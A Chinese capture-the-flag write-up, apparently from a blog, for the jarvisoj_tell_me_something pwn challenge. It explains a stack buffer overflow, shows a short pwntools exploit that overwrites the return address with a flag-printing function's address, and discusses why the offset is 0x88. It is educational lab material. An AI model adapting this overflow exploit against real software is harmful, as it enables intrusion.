jarvisoj_tell_me_something
下载文件,首先checksec检查一下保护,发现只开启了NX 堆栈不可执行。
接下来我们拖进IDA看一下程序的主要流程。
很简洁的程序,可以看到read函数存在栈溢出。
再来看看有什么后门函数可以利用吗?
可以看到这个函数的意思就是读取本地的flag,然后进行输出。
只要我们进行栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。
1 from pwn import *
2 import time
3 p = process('./jarvisoj_tell_me_something')
4 context.log_level = 'debug'
5
6 p.recv()
7 flag_addr = 0x0400620
8 payload = 'a'*0x88 + p64(flag_addr)
9 p.send(payload)
10 sleep(1)
11 p.recv()
如果你翻到这个博客,其实你就是有一定基础的,你得问题应该在为什么偏移是0x88,而不是0x88+0x8,我刚开始学习pwn的时候每次都是用pwndbg调试确定偏移,后来越做越有经验,直接看ida的伪代码,看定义变量那里时候,就可以看到栈距离rbp的距离是多少,只要那个距离再加上rbp的八个字节就可以覆盖到返回地址了。
这道题刚开始的时候我也确实是那样做了,但是发现打不通。后来试着看汇编,发现了这道题的函数开始和函数结束时候的栈的准备和平时见的不太一样。
我们先来看一下平时见的多的准备。
如图所示,先将ebp压入栈,然后将esp的值赋给ebp,然后esp再减去对应的栈空间的大小。这个是函数调用时候的栈准备,函数主要流程执行完成后栈恢复的过程就是面的逆过程。
接下来我们看一下这道题的汇编
起步刚开始就直接是rsp减去0x88,其实这里是没有把rbp压入栈的,所以我们只需要0x88的数据大小,就可以开始覆盖返回地址了。
得瑟一下,运行一下exp。
jarvisoj_tell_me_something的更多相关文章
- [BUUCTF]PWN——jarvisoj_tell_me_something
jarvisoj_tell_me_something 附件 步骤: 例行检查,64位程序,开启了NX保护 运行一下程序,看看程序的大概流程 64位ida载入,shift+f12检索程序里的字符串 看到 ...
- BUUCTF-PWN-第一页writep(32题)
温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...
随机推荐
- Linux 软连接与硬连接 区别
先说结论 软连接相当于快捷方式,访问软连接会被替换为其指向的绝对路径,如果其指向的文件被删除,则无法访问. 硬连接相当于指针,与它指向的文件都指向相同的inode,当其指向的文件被删除,inode由于 ...
- [loj2863]组合动作
先用两次猜出第一个字符,后面就不会出现这个字符了 (我们假设这个字符是c0,其余三种字符分别是c1.c2和c3) ,然后考虑已知s的前i个字符(不妨就s),来推出后面的字符 询问:s+c1和s+c2, ...
- Aggregated APIServer 构建云原生应用最佳实践
作者 张鹏,腾讯云容器产品工程师,拥有多年云原生项目开发落地经验.目前主要负责腾讯云 TKE 云原生 AI 产品的开发工作. 谢远东,腾讯高级工程师,Kubeflow Member.Fluid(CNC ...
- 消息抽象层设计和实现-OSS.DataFlow
前面已经介绍了消息生产消费中间类库(OSS.DataFlow)的简单使用,这篇主要介绍内部的设计实现.主要内容包含: 1. 消息生产消费的抽象设计. 2. 具体使用示例 一. 消息生产消费的抽象设计. ...
- 主动扫描之Nmap
主动扫描之Nmap 本文参考于李华峰等人的图书<Kali Linux2 网络渗透测试实践指南>2018年第1版 目录 主动扫描之Nmap 基本用法 主机发现 端口发现 扫描目标操作系统 扫 ...
- 洛谷 P5224 - Candies(循环卷积)
洛谷题面传送门 一道题解长度大概不到 1k 的题,可还是决定写篇题解,因为自己没有做出来( \(1004535809\) 好评( 首先这个 \(\equiv m\pmod{k}\) 有点把我们往单位根 ...
- P4569 [BJWC2011]禁忌
题目传送门. 题意简述:给出大小为 \(n\) 的字典 \(s\).设函数 \(g(t)\) 表示 \(t\) 最多能被分割成的单词个数.等概率随机生成长度为 \(len\) 的字符串 \(T\),求 ...
- C语言 fastq文件转换为fasta文件2
修改可读取压缩格式文件 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #in ...
- 如何优雅地将printf的打印保存在文件中?
我们都知道,一般使用printf的打印都会直接打印在终端,如果想要保存在文件里呢?我想你可能想到的是重定向.例如: $ program > result.txt 这样printf的输出就存储在r ...
- 学习java 7.20
学习内容: Stream流 Stream流的生成方式 中间操作方法 终结操作方法 Stream流的收集操作 类加载 类加载器的作用 将.class文件加载到内存中,并为之生成对应的java.lang. ...